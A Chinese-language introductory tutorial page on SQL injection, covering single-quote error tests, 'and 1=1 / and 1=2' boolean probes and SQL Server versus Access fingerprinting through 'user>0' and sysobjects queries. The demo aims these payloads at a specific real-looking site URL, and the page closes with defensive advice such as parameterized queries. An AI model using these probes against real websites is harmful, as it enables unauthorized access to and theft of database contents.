首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入漏洞全接觸入門篇:原理、判斷方法、數據庫類型識別與實戰演示

     編輯:關於SqlServer

什麼是 SQL 注入?

應用程序未對用戶輸入進行合法性校驗,攻擊者通過構造惡意輸入,改變原本 SQL 語句邏輯,竊取、篡改、刪除數據,甚至獲取服務器控制權。特點:走正常 Web 端口(80/443),防火牆難攔截,日志中僅顯示普通請求。

入門必備:關閉 IE 友好錯誤

工具 → Internet 選項 → 高級 → 取消勾選「顯示友好 HTTP 錯誤信息」,否則注入錯誤均返回通用 500,無法獲取詳細錯誤回顯信息。

注入原理演示

正常鏈接:https://www.19cn.com/showdetail.asp?id=49
後端 SQL:SELECT * FROM news WHERE id = 49

附加單引號:...id=49'
報錯:Microsoft JET Database Engine 錯誤 '80040e14' 字符串語法錯誤 在查詢表達式 'ID=49'' 中

洩露信息: Access + JET 引擎、無輸入校驗、表含 ID 字段。

精準判斷注入點:1=1 / 1=2 經典測試法

請求預期結果(可注入)不可注入表現
id=49正常顯示正常顯示
id=49 and 1=1正常顯示,內容同 ①程序報錯/類型轉換錯誤
id=49 and 1=2空結果/BOF-EOF/提示無記錄程序報錯/類型轉換錯誤

原理: AND 1=1 恆真,不影響邏輯;AND 1=2 恆假,導致無行返回。單引號測試易被 cint() 等過濾繞過,1=1/1=2 繞過大多數簡單過濾。

數據庫類型指紋識別

方法一:利用類型轉換錯誤回顯(需錯誤開啟)

id=49 and user>0
-- SQL Server: user 為 nvarchar,與 int 比較觸發轉換錯誤,回顯用戶名(如 dbo)
-- 若為 sa 登錄,回顯 dbo 而非 sa

方法二:系統表探測(適用錯誤關閉場景)

-- SQL Server 可讀 sysobjects
id=49 and (select count(*) from sysobjects)>0  -- 正常 → SQL Server
id=49 and (select count(*) from msysobjects)>0 -- 報錯/異常 → 非 Access 或無權限

-- Access 反之

防禦核心原則

  1. 參數化查詢 / 預編譯語句:cmd.Parameters.Add("@id", id),徹底分離代碼與數據。
  2. 最小權限原則:Web 應用賃戶僅擁有必要表的 SELECT/INSERT/UPDATE/EXEC 權限,禁止 DDL、xp_cmdshell。
  3. 錯誤信息不回顯給前端:自定義錯誤頁,記錄詳細日志供內部排查。
  4. WAF + 定期掃描:部署 Web 應用防火牆,定期自動化掃描修補。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved